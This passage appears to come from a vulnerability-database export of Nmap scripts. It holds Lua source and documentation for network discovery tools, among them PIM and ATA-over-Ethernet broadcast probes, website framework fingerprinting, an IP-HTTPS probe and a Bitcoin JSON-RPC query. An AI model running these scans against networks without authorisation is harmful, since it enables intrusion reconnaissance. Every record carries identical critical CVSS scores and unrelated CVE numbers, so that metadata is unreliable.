Checksum: Calculated later\n -- Options (TLVs)\n .. string.pack(\">I2I2 I2\", 0x01, 0x02, 0x01) -- Hold time 1 second\n .. string.pack(\">I2I2 I4\", 0x14, 0x04, math.random(23456)) -- Generation ID: Random\n .. string.pack(\">I2I2 I4\", 0x13, 0x04, 0x01) -- DR Priority: 1\n .. string.pack(\">I2I2 BBI2\", 0x15, 0x04, 0x01, 0x00, 0x00) -- State fresh capable: Version = 1, interval = 0, Reserved\n -- Calculate checksum\n hello_raw = hello_raw:sub(1,2) .. string.pack(\">I2\", packet.in_cksum(hello_raw)) .. hello_raw:sub(5)\n\n return hello_raw\nend\n\n-- Sends a PIM Hello message.\n--@param interface Network interface to use.\n--@param dstip Destination IP to which send the Hello.\nlocal helloQuery = function(interface, dstip)\n local hello_packet, sock, eth_hdr\n local srcip = interface.address\n\n local hello_raw = helloRaw()\n local ip_raw = stdnse.fromhex( \"45c00040ed780000016718bc0a00c8750a00c86b\") .. hello_raw\n hello_packet = packet.Packet:new(ip_raw, ip_raw:len())\n hello_packet:ip_set_bin_src(ipOps.ip_to_str(srcip))\n hello_packet:ip_set_bin_dst(ipOps.ip_to_str(dstip))\n hello_packet:ip_set_len(ip_raw:len()) hello_packet:ip_count_checksum()\n\n sock = nmap.new_dnet()\n sock:ethernet_open(interface.device)\n -- Ethernet multicast for PIM, our ethernet address and packet type IP\n eth_hdr = \"\\x01\\x00\\x5e\\x00\\x00\\x0d\" .. interface.mac .. \"\\x08\\x00\"\n sock:ethernet_send(eth_hdr .. hello_packet.buf)\n sock:ethernet_close()\nend\n\n-- Listens for PIM Hello messages.\n--@param interface Network interface to listen on.\n--@param timeout Time to listen for a response.\n--@param responses table to insert responders' IPs into.\nlocal helloListen = function(interface, timeout, responses)\n local condvar = nmap.condvar(responses)\n local start = nmap.clock_ms()\n local listener = nmap.new_socket()\n local p, hello_raw, status, l3data, _\n\n -- PIM packets that are sent to 224.0.0.13 and not coming from our host\n local filter = 'ip proto 103 and dst host 224.0.0.13 and src host not ' .. interface.address\n listener:set_timeout(100)\n listener:pcap_open(interface.device, 1024, true, filter)\n\n while (nmap.clock_ms() - start) < timeout do\n status, _, _, l3data = listener:pcap_receive()\n if status then\n p = packet.Packet:new(l3data, #l3data)\n hello_raw = string.sub(l3data, p.ip_hl*4 + 1)\n -- Check that PIM Type is Hello\n if p and hello_raw:byte(1) == 0x20 then\n table.insert(responses, p.ip_src)\n end\n end\n end\n condvar(\"signal\")\nend\n\n--- Returns the network interface used to send packets to the destination host.\n--@param destination host to which the interface is used.\n--@return interface Network interface used for destination host.\nlocal getInterface = function(destination)\n -- First, create dummy UDP connection to get interface\n local sock = nmap.new_socket()\n local status, err = sock:connect(destination, \"12345\", \"udp\")\n if not status then\n stdnse.verbose1(\"%s\", err)\n return\n end\n local status, address, _, _, _ = sock:get_info()\n if not status then\n stdnse.verbose1(\"%s\", err)\n return\n end\n for _, interface in pairs(nmap.list_interfaces()) do\n if interface.address == address then\n return interface\n end\n end\nend\n\naction = function()\n local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. \".timeout\"))\n local responses = {}\n timeout = (timeout or 5) * 1000\n local mcast = \"224.0.0.13\"\n\n -- Get the network interface to use\n local interface = nmap.get_interface()\n if interface then\n interface = nmap.get_interface_info(interface)\n else\n interface = getInterface(mcast)\n end\n if not interface then\n return stdnse.format_output(false, (\"Couldn't get interface for %s\"):format(mcast))\n end\n\n stdnse.debug1(\"will send via %s interface.\", interface.shortname)\n\n -- Launch listener\n stdnse.new_thread(helloListen, interface, timeout, responses)\n\n -- Send Hello after small sleep so the listener doesn't miss any responses\n stdnse.sleep(0.1)\n helloQuery(interface, mcast)\n local condvar = nmap.condvar(responses)\n condvar(\"wait\")\n\n if #responses > 0 then\n table.sort(responses)\n if target.ALLOW_NEW_TARGETS then\n for _, response in pairs(responses) do\n target.add(response)\n end\n else\n table.insert(responses,\"Use the newtargets script-arg to add the results as targets\")\n end\n return stdnse.format_output(true, responses)\n end\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:47:17", "description": "Discovers servers supporting the ATA over Ethernet protocol. ATA over Ethernet is an ethernet protocol developed by the Brantley Coile Company and allows for simple, high-performance access to SATA drives over Ethernet. \n\nDiscovery is performed by sending a Query Config Request to the Ethernet broadcast address with all bits set in the major and minor fields of the header.\n\n## Example Usage \n \n \n nmap --script broadcast-ataoe-discover -e <interface>\n \n\n## Script Output \n \n \n Pre-scan script results:\n | broadcast-ataoe-discover:\n |_ Server: 08:00:27:12:34:56; Version: 1; Major: 0; Minor: 1\n \n\n## Requires \n\n * [math](<>)\n * [nmap](<../lib/nmap.html>)\n * [packet](<../lib/packet.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [string](<>)\n * [table](<>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2012-03-17T22:49:40", "type": "nmap", "title": "broadcast-ataoe-discover NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2018-09-06T14:20:31", "id": "NMAP:BROADCAST-ATAOE-DISCOVER.NSE", "href": "https://nmap.org/nsedoc/scripts/broadcast-ataoe-discover.html", "sourceData": "local math = require \"math\"\nlocal nmap = require \"nmap\"\nlocal packet = require \"packet\"\nlocal stdnse = require \"stdnse\"\nlocal string = require \"string\"\nlocal table = require \"table\"\n\ndescription = [[\nDiscovers servers supporting the ATA over Ethernet protocol. ATA over Ethernet\nis an ethernet protocol developed by the Brantley Coile Company and allows for\nsimple, high-performance access to SATA drives over Ethernet.\n\nDiscovery is performed by sending a Query Config Request to the Ethernet\nbroadcast address with all bits set in the major and minor fields of the\nheader.\n]]\n\n---\n-- @usage\n-- nmap --script broadcast-ataoe-discover -e <interface>\n--\n-- @output\n-- Pre-scan script results:\n-- | broadcast-ataoe-discover:\n-- |_ Server: 08:00:27:12:34:56; Version: 1; Major: 0; Minor: 1\n--\n\nauthor = \"Patrik Karlsson\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"broadcast\", \"safe\"}\n\n\nprerule = function() return true end\n\n-- The minimalistic ATAoE interface\nATAoE = {\n\n -- Supported commands\n Cmd = {\n QUERY_CONFIG_INFORMATION = 1,\n },\n\n Header = {\n -- creates a new Header instance\n new = function(self, cmd, tag)\n local o = {\n version = 1,\n flags = 0,\n major = 0xffff,\n minor = 0xff,\n error = 0,\n cmd = ATAoE.Cmd.QUERY_CONFIG_INFORMATION,\n tag = tag or math.random(0,0xffffffff),\n }\n setmetatable(o, self)\n self.__index = self\n return o\n end,\n\n -- parses a raw string of data and creates a new Header instance\n -- @return header new instance of header\n parse = function(data)\n local header = ATAoE.Header:new()\n local pos, verflags\n\n verflags, header.error,\n header.major, header.minor,\n header.cmd, header.tag, pos = string.unpack(\">BBI2BBI4\", data)\n header.version = verflags >> 4\n header.flags = verflags & 0x0F\n return header\n end,\n\n -- return configuration info request as string\n __tostring = function(self)\n assert(self.tag, \"No tag was specified in Config Info Request\")\n local verflags = self.version << 4\n return string.pack(\">BBI2BBI4\", verflags, self.error, self.major, self.minor, self.cmd, self.tag)\n end,\n },\n\n -- The Configuration Info Request\n ConfigInfoRequest = {\n new = function(self, tag)\n local o = {\n header = ATAoE.Header:new(ATAoE.Cmd.QUERY_CONFIG_INFORMATION, tag)\n }\n setmetatable(o, self)\n self.__index = self\n return o\n end,\n\n __tostring = function(self)\n return tostring(self.header)\n end,\n }\n}\n\n-- Send a Config Info Request to the ethernet broadcast address\n-- @param iface table as returned by nmap.get_interface_info()\nlocal function sendConfigInfoRequest(iface)\n local ETHER_BROADCAST, P_ATAOE = \"ff:ff:ff:ff:ff:ff\", 0x88a2\n local req = ATAoE.ConfigInfoRequest:new()\n local tag = req.tag\n\n local p = packet.Frame:new()\n p.mac_src = iface.mac\n p.mac_dst = packet.mactobin(ETHER_BROADCAST)\n p.ether_type = string.pack(\">I2\", P_ATAOE)\n p.buf = tostring(req)\n p:build_ether_frame()\n\n local dnet = nmap.new_dnet()\n dnet:ethernet_open(iface.device)\n dnet:ethernet_send(p.frame_buf)\n dnet:ethernet_close()\nend\n\naction = function()\n\n local iname = nmap.get_interface()\n if ( not(iname) ) then\n stdnse.verbose1(\"No interface supplied, use -e\")\n return\n end\n\n if ( not(nmap.is_privileged()) ) then\n stdnse.verbose1(\"not running for lack of privileges\")\n return\n end\n\n local iface = nmap.get_interface_info(iname)\n if ( not(iface) ) then\n return stdnse.format_output(false, \"Failed to retrieve interface information\")\n end\n\n local pcap = nmap.new_socket()\n pcap:set_timeout(5000)\n pcap:pcap_open(iface.device, 1500, true, \"ether proto 0x88a2 && !ether src \" .. stdnse.format_mac(iface.mac))\n\n sendConfigInfoRequest(iface)\n\n local result = {}\n repeat\n local status, len, l2_data, l3_data = pcap:pcap_receive()\n\n if ( status ) then\n local header = ATAoE.Header.parse(l3_data)\n local f = packet.Frame:new(l2_data)\n f:ether_parse()\n\n local str = (\"Server: %s; Version: %d; Major: %d; Minor: %d\"):format(\n stdnse.format_mac(f.mac_src),\n header.version,\n header.major,\n header.minor)\n table.insert(result, str)\n end\n until( not(status) )\n pcap:pcap_close()\n\n if ( #result > 0 ) then\n return stdnse.format_output(true, result)\n end\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:44:07", "description": "Tries to find out the technology behind the target website. \n\nThe script checks for certain defaults that might not have been changed, like common headers or URLs or HTML content. \n\nWhile the script does some guessing, note that overall there's no way to determine what technologies a given site is using. \n\nYou can help improve this script by adding new entries to nselib/data/http-devframework-fingerprints.lua \n\nEach entry must have: \n\n * `rapidDetect` \\- Callback function that is called in the beginning \nof detection process. It takes the host and port of target website as arguments. \n * `consumingDetect` \\- Callback function that is called for each \nspidered page. It takes the body of the response (HTML code) and the requested path as arguments. \n\nNote that the `consumingDetect` callback will not take place only if `rapid` option is enabled.\n\n## Script Arguments \n\n#### http-devframework.fingerprintfile \n\nFile containing fingerprints. Default: nselib/data/http-devframework-fingerprints.lua\n\n#### http-devframework.rapid \n\nboolean value that determines if a rapid detection should take place. The main difference of a rapid vs a lengthy detection is that second one requires crawling through the website. Default: false (lengthy detection is performed)\n\n#### slaxml.debug \n\nSee the documentation for the [slaxml](<../lib/slaxml.html#script-args>) library. \n\n#### httpspider.doscraping, httpspider.maxdepth, httpspider.maxpagecount, httpspider.noblacklist, httpspider.url, httpspider.useheadfornonwebfiles, httpspider.withindomain, httpspider.withinhost \n\nSee the documentation for the [httpspider](<../lib/httpspider.html#script-args>) library. \n\n#### http.host, http.max-body-size, http.max-cache-size, http.max-pipeline, http.pipeline, http.truncated-ok, http.useragent \n\nSee the documentation for the [http](<../lib/http.html#script-args>) library. \n\n#### smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername \n\nSee the documentation for the [smbauth](<../lib/smbauth.html#script-args>) library. \n\n## Example Usage \n \n \n nmap -p80 --script http-devframework.nse <target>\n \n\n## Script Output \n \n \n PORT STATE SERVICE REASON\n 80/tcp open http syn-ack\n |_http-devframework: Django detected. Found Django admin login page on /admin/\n \n\n## Requires \n\n * [nmap](<../lib/nmap.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [httpspider](<../lib/httpspider.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2013-09-05T19:31:40", "type": "nmap", "title": "http-devframework NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2017-03-24T22:05:51", "id": "NMAP:HTTP-DEVFRAMEWORK.NSE", "href": "https://nmap.org/nsedoc/scripts/http-devframework.html", "sourceData": "description = [[\n\nTries to find out the technology behind the target website.\n\nThe script checks for certain defaults that might not have been changed, like\ncommon headers or URLs or HTML content.\n\nWhile the script does some guessing, note that overall there's no way to\ndetermine what technologies a given site is using.\n\nYou can help improve this script by adding new entries to\nnselib/data/http-devframework-fingerprints.lua\n\nEach entry must have:\n* <code>rapidDetect</code> - Callback function that is called in the beginning\nof detection process. It takes the host and port of target website as arguments.\n* <code>consumingDetect</code> - Callback function that is called for each\nspidered page. It takes the body of the response (HTML code) and the requested\npath as arguments.\n\nNote that the <code>consumingDetect</code> callback will not take place only if\n<code>rapid</code> option is enabled.\n\n]]\n\n---\n-- @usage nmap -p80 --script http-devframework.nse <target>\n--\n-- @args http-devframework.rapid boolean value that determines if a rapid detection\n-- should take place. The main difference of a rapid vs a lengthy detection\n-- is that second one requires crawling through the website. Default: false\n-- (lengthy detection is performed)\n-- @args http-devframework.fingerprintfile File containing fingerprints. Default: nselib/data/http-devframework-fingerprints.lua\n--\n-- @output\n-- PORT STATE SERVICE REASON\n-- 80/tcp open http syn-ack\n-- |_http-devframework: Django detected. Found Django admin login page on /admin/\n---\n\ncategories = {\"discovery\", \"intrusive\"}\nauthor = \"George Chatzisofroniou\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\n\nlocal nmap = require \"nmap\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\nlocal httpspider = require \"httpspider\"\nlocal _G = require \"_G\"\n\nportrule = shortport.port_or_service( {80, 443}, {\"http\", \"https\"}, \"tcp\", \"open\")\n\nlocal function loadFingerprints(filename)\n\n local file, fingerprints\n\n -- Find the file\n filename = nmap.fetchfile('nselib/data/' .. filename) or filename\n\n -- Load the file\n stdnse.debug1(\"Loading fingerprints: %s\", filename)\n local env = setmetatable({fingerprints = {}}, {__index = _G});\n file = loadfile(filename, \"t\", env)\n\n if( not(file) ) then\n stdnse.debug1(\"Couldn't load the file: %s\", filename)\n return\n end\n\n file()\n fingerprints = env.tools\n\n return fingerprints\n\nend\n\naction = function(host, port)\n\n local filename = stdnse.get_script_args(\"http-devframework.fingerprintfile\") or \"http-devframework-fingerprints.lua\"\n local tools = loadFingerprints(filename)\n if not tools then\n stdnse.debug1(\"Failed to load fingerprints\")\n return nil\n end\n local rapid = stdnse.get_script_args(\"http-devframework.rapid\")\n\n local d\n\n -- Run rapidDetect() callbacks.\n for f, method in pairs(tools) do\n d = method[\"rapidDetect\"](host, port)\n if d then\n return d\n end\n end\n\n local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME,\n maxpagecount = 40,\n maxdepth = -1,\n withinhost = 1\n })\n\n if rapid then\n return \"Couldn't determine the underlying framework or CMS. Try turning off 'rapid' mode.\"\n end\n\n crawler.options.doscraping = function(url)\n if crawler:iswithinhost(url)\n and not crawler:isresource(url, \"js\")\n and not crawler:isresource(url, \"css\") then\n return true\n end\n end\n\n crawler:set_timeout(10000)\n\n while (true) do\n\n local response, path\n\n local status, r = crawler:crawl()\n -- if the crawler fails it can be due to a number of different reasons\n -- most of them are \"legitimate\" and should not be reason to abort\n if (not(status)) then\n if (r.err) then\n return stdnse.format_output(false, r.reason)\n else\n break\n end\n end\n\n response = r.response\n path = tostring(r.url)\n\n if (response.body) then\n\n -- Run consumingDetect() callbacks.\n for f, method in pairs(tools) do\n d = method[\"consumingDetect\"](response.body, path)\n if d then\n return d\n end\n end\n end\n\n return \"Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages.\"\n\n end\n\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T09:31:31", "description": "Checks if the IP over HTTPS (IP-HTTPS) Tunneling Protocol [1] is supported. \n\nIP-HTTPS sends Teredo related IPv6 packets over an IPv4-based HTTPS session. This indicates that Microsoft DirectAccess [2], which allows remote clients to access intranet resources on a domain basis, is supported. Windows clients need Windows 7 Enterprise/Ultime or Windows 8.1 Enterprise/Ultimate. Servers need Windows Server 2008 (R2) or Windows Server 2012 (R2). Older versions of Windows and Windows Server are not supported. \n\n[1] <http://msdn.microsoft.com/en-us/library/dd358571.aspx> [2] <http://technet.microsoft.com/en-us/network/dd420463.aspx>\n\n## Script Arguments \n\n#### mssql.domain, mssql.instance-all, mssql.instance-name, mssql.instance-port, mssql.password, mssql.protocol, mssql.scanned-ports-only, mssql.timeout, mssql.username \n\nSee the documentation for the [mssql](<../lib/mssql.html#script-args>) library. \n\n#### smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername \n\nSee the documentation for the [smbauth](<../lib/smbauth.html#script-args>) library. \n\n#### smtp.domain \n\nSee the documentation for the [smtp](<../lib/smtp.html#script-args>) library. \n\n#### randomseed, smbbasic, smbport, smbsign \n\nSee the documentation for the [smb](<../lib/smb.html#script-args>) library. \n\n#### tls.servername \n\nSee the documentation for the [tls](<../lib/tls.html#script-args>) library. \n\n## Example Usage \n \n \n nmap --script ip-https-discover\n \n\n## Script Output \n \n \n 443/tcp open https\n |_ip-https-discover: IP-HTTPS is supported. This indicates that this host supports Microsoft DirectAccess.\n \n\n## Requires \n\n * [comm](<../lib/comm.html>)\n * [string](<>)\n * [stdnse](<../lib/stdnse.html>)\n * [shortport](<../lib/shortport.html>)\n * [sslcert](<../lib/sslcert.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2015-11-03T13:53:20", "type": "nmap", "title": "ip-https-discover NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2016-09-21T03:55:11", "id": "NMAP:IP-HTTPS-DISCOVER.NSE", "href": "https://nmap.org/nsedoc/scripts/ip-https-discover.html", "sourceData": "local comm = require 'comm'\nlocal string = require 'string'\nlocal stdnse = require 'stdnse'\nlocal shortport = require 'shortport'\nlocal sslcert = require 'sslcert'\n\ndescription = [[\nChecks if the IP over HTTPS (IP-HTTPS) Tunneling Protocol [1] is supported.\n\nIP-HTTPS sends Teredo related IPv6 packets over an IPv4-based HTTPS session. This\nindicates that Microsoft DirectAccess [2], which allows remote clients to access\nintranet resources on a domain basis, is supported. Windows clients need\nWindows 7 Enterprise/Ultime or Windows 8.1 Enterprise/Ultimate. Servers need\nWindows Server 2008 (R2) or Windows Server 2012 (R2). Older versions\nof Windows and Windows Server are not supported.\n\n[1] http://msdn.microsoft.com/en-us/library/dd358571.aspx\n[2] http://technet.microsoft.com/en-us/network/dd420463.aspx\n]]\n\nauthor = \"Niklaus Schiess <nschiess@adversec.com>\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {'discovery', 'safe', 'default'}\n\n---\n--@usage\n-- nmap --script ip-https-discover\n--\n--@output\n-- 443/tcp open https\n-- |_ip-https-discover: IP-HTTPS is supported. This indicates that this host supports Microsoft DirectAccess.\n--\n\nportrule = function(host, port)\n return shortport.http(host, port) and shortport.ssl(host, port)\nend\n\n-- Tested on a Windows Server 2012 R2 DirectAccess deployment. The URI\n-- /IPTLS from the specification (see description) doesn't seem to work\n-- on recent versions. They may be related to Windows Server 2008 (R2).\nlocal request =\n'POST /IPHTTPS HTTP/1.1\\r\\n' ..\n'Host: %s\\r\\n' ..\n'Content-Length: 18446744073709551615\\r\\n\\r\\n'\n\naction = function(host, port)\n local target\n if host.targetname then\n target = host.targetname\n else\n -- Try to get the hostname from the SSL certificate.\n local status, cert = sslcert.getCertificate(host,port)\n if not status then\n -- fall back to reverse DNS\n target = host.name\n else\n target = cert.subject['commonName']\n end\n end\n\n if not target or target == \"\" then\n return\n end\n\n local socket, response = comm.tryssl(host, port,\n string.format(request, target), { lines=4 })\n if not socket then\n stdnse.debug1('Problem establishing connection: %s', response)\n return\n end\n socket:close()\n\n if string.match(response, 'HTTP/1.1 200%s.+HTTPAPI/2.0') then\n return true, 'IP-HTTPS is supported. This indicates that this host supports Microsoft DirectAccess.'\n end\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:47:17", "description": "Obtains information from a Bitcoin server by calling `getinfo` on its JSON-RPC interface.\n\n## Script Arguments \n\n#### creds.global \n\nhttp credentials used for the query (user:pass)\n\n#### slaxml.debug \n\nSee the documentation for the [slaxml](<../lib/slaxml.html#script-args>) library. \n\n#### creds.[service] \n\nSee the documentation for the [creds](<../lib/creds.html#script-args>) library. \n\n#### http.host, http.max-body-size, http.max-cache-size, http.max-pipeline, http.pipeline, http.truncated-ok, http.useragent \n\nSee the documentation for the [http](<../lib/http.html#script-args>) library. \n\n#### smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername \n\nSee the documentation for the [smbauth](<../lib/smbauth.html#script-args>) library. \n\n## Example Usage \n \n \n nmap -p 8332 --script bitcoinrpc-info --script-args creds.global=<user>:<pass> <target>\n\n## Script Output \n \n \n 8332/tcp open unknown\n | bitcoinrpc-info.nse:\n | root:\n | balance: 0\n | blocks: 135041\n | connections: 36\n | difficulty: 1379223.4296725\n | generate: false\n | genproclimit: -1\n | hashespersec: 0\n | keypoololdest: 1309381827\n | paytxfee: 0\n | testnet: false\n |_ version: 32100\n \n\n## Requires \n\n * [creds](<../lib/creds.html>)\n * [http](<../lib/http.html>)\n * [json](<../lib/json.html>)\n * [nmap](<../lib/nmap.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [string](<>)\n * [table](<>)\n * [tableaux](<../lib/tableaux.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2011-10-07T23:49:43", "type": "nmap", "title": "bitcoinrpc-info NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2018-11-06T15:07:01", "id": "NMAP:BITCOINRPC-INFO.NSE", "href": "https://nmap.org/nsedoc/scripts/bitcoinrpc-info.html", "sourceData": "local creds = require \"creds\"\nlocal http = require \"http\"\nlocal json = require \"json\"\nlocal nmap = require \"nmap\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\nlocal string = require \"string\"\nlocal table = require \"table\"\nlocal tableaux = require \"tableaux\"\n\ndescription = [[\nObtains information from a Bitcoin server by calling <code>getinfo</code> on its JSON-RPC interface.\n]]\n\n---\n-- @usage\n-- nmap -p 8332 --script bitcoinrpc-info --script-args creds.global=<user>:<pass> <target>\n-- @args creds.global http credentials used for the query (user:pass)\n-- @output\n-- 8332/tcp open unknown\n-- | bitcoinrpc-info.nse:\n-- | root:\n-- | balance: 0\n-- | blocks: 135041\n-- | connections: 36\n-- | difficulty: 1379223.4296725\n-- | generate: false\n-- | genproclimit: -1\n-- | hashespersec: 0\n-- | keypoololdest: 1309381827\n-- | paytxfee: 0\n-- | testnet: false\n-- |_ version: 32100\n--\n-- @xmloutput\n-- <table key=\"root\">\n-- <elem key=\"balance\">0</elem>\n-- <elem key=\"blocks\">135041</elem>\n-- <elem key=\"connections\">36</elem>\n-- <elem key=\"difficulty\">1379223.4296725</elem>\n-- <elem key=\"generate\">false</elem>\n-- <elem key=\"genproclimit\">-1</elem>\n-- <elem key=\"hashespersec\">0</elem>\n-- <elem key=\"keypoololdest\">1309381827</elem>\n-- <elem key=\"paytxfee\">0</elem>\n-- <elem key=\"testnet\">false</elem>\n-- <elem key=\"version\">32100</elem>\n-- </table>\n\nauthor = \"Toni Ruottu\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"default\", \"discovery\", \"safe\"}\ndependencies = {\"http-brute\"}\n\n\nportrule = shortport.portnumber(8332)\n\n-- JSON-RPC helpers\n\nlocal function request(method, params, id)\n json.make_array(params)\n local req = {method = method, params = params, id = id}\n local serial = json.generate(req)\n return serial\nend\n\nlocal function response(serial)\n local _, response = json.parse(serial)\n local result = response[\"result\"]\n return result\nend\n\nlocal ServiceProxy = {}\nfunction ServiceProxy:new(host, port, path, options)\n local o = {}\n setmetatable(o, self)\n self.host = host\n self.port = port\n self.path = path\n self.options = options\n self.__index = function(_, method)\n return function(...)\n return self:call(method, table.pack(...))\n end\n end\n return o\nend\n\nfunction ServiceProxy:remote(req)\n local httpdata = http.post(self.host, self.port, self.path, self.options, nil, req)\n if httpdata.status == 200 then\n return httpdata.body\n end\nend\n\nfunction ServiceProxy:call(method, args)\n local FIRST = 1\n local req = request(method, args, FIRST)\n local ret = self:remote(req)\n if not ret then\n return\n end\n local result = response(ret)\n return result\nend\n\n-- Convert an integer into a broken-down version number.\n-- Prior to version 0.3.13, versions are 3-digit numbers as so:\n-- 200 -> 0.2.0\n-- 300 -> 0.3.0\n-- 310 -> 0.3.10\n-- In 0.3.13 and later, they are 5-digit numbers as so:\n-- 31300 -> 0.3.13\n-- 31900 -> 0.3.19\n-- Version 0.3.13 release announcement: https://bitcointalk.org/?topic=1327.0\nlocal function decode_bitcoin_version(n)\n if n < 31300 then\n local minor, micro = n // 100, n % 100\n return string.format(\"0.%d.%d\", minor, micro)\n else\n local minor, micro = n // 10000, (n // 100) % 100\n return string.format(\"0.%d.%d\", minor, micro)\n end\nend\n\nlocal function formatpairs(info)\n local result = stdnse.output_table()\n local keys = tableaux.keys(info)\n table.sort(keys)\n for _, k in ipairs(keys) do\n if info[k] ~= \"\" then\n result[k] = info[k]\n end\n end\n return result\nend\n\nlocal function getinfo(host, port, user, pass)\n local auth = {username = user, password = pass}\n local bitcoind = ServiceProxy:new(host, port, \"/\", {auth = auth})\n return bitcoind.getinfo()\nend\n\naction = function(host, port)\n local response = stdnse.output_table()\n local c = creds.Credentials:new(creds.ALL_DATA, host, port)\n local states = creds.State.VALID + creds.State.PARAM\n for cred in c:getCredentials(states) do\n local info = getinfo(host, port, cred.user, cred.pass)\n if info then\n local result = formatpairs(info)\n response[cred.user] = result\n\n port.version.name = \"http\"\n port.version.product = \"Bitcoin JSON-RPC\"\n if info.version then\n port.version.version = decode_bitcoin_version(info.version)\n end\n nmap.set_port_version(host, port)\n end\n end\n\n return response\nend\n\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": 